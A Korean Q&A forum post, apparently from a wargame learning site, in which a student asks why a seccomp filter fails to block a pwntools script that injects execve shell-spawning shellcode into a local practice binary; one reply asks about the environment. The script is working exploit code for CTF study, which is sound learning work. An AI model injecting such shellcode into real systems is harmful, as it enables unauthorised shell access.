로컬에서 seccomp filter가 작동하지 않는 경우

로컬에서 문제를 푸는 중 seccomp를 무시하고 execve를 사용하는 쉘코드를 실행시켜봤습니다.
그런데 seccomp filter가 작동하지 않아서 바로 쉘 실행이 되더군요..?
왜 이런 현상이 나타나는지 궁금합니다.

from pwn import *

p = process('./seccomp')
context(arch='amd64', os='linux')

p.sendlineafter('> ', '1')
sc = asm(shellcraft.amd64.linux.sh())
p.sendafter('shellcode: ', sc)

p.sendlineafter('> ', '2')

p.interactive()
#pwnable
작성자 정보
답변 1
5unkn0wn
강의 수강: 50

오잉 저는 안되는데.. 혹시 환경이 어떻게 되시나요 ??

2022.01.13. 10:36
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기